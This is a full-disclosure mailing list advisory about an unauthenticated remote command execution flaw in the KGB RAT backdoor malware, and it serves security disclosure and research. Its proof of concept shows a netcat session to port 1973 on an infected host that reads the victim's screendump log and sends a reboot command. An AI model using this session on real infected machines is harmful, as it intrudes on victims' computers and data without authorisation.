full-disclosure - [FD] Backdoor.Win32.Small.bu (KGB- RAT server v0.1) / Unauthenticated Remote Command Execution

Open Source and information security mailing list archives

Date: Tue, 1 Feb 2022 23:03:26 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Small.bu (KGB- RAT server v0.1) /
 Unauthenticated Remote Command Execution

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/36ca28db068b6f6634d633fe61d34a7d.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Small.bu (KGB- RAT server v0.1)
Vulnerability: Unauthenticated Remote Command Execution
Description: The KGB- RAT malware listens on TCP port 1973. Third-party
attackers who can reach infected systems can run commands made available by
the backdoor, or run the "view" command to passively read screendump
information. The malware writes its screendump info to a file named
"log.log".

E.g. commands

rebt (reboot)
stoptb (shutdown the backdoor)
view (log.log)

Type: PE32
MD5: 36ca28db068b6f6634d633fe61d34a7d
Vuln ID: MVID-2022-0479
Disclosure: 02/01/2022

Exploit/PoC:
nc64.exe x.x.x.x 1973
Connected to: -KGB- Remote Administration Tool server v0.1
view log.log

< LocalData: 31/1/2022 LocalTime: 21.35.37  User: Victim >
< Window title: pestudio 8.74 - Malware Initial Assessment - www.winitor.com
>

< LocalData: 31/1/2022 LocalTime: 21.38.44  User: Victim >
< Window title: dump >

rebt

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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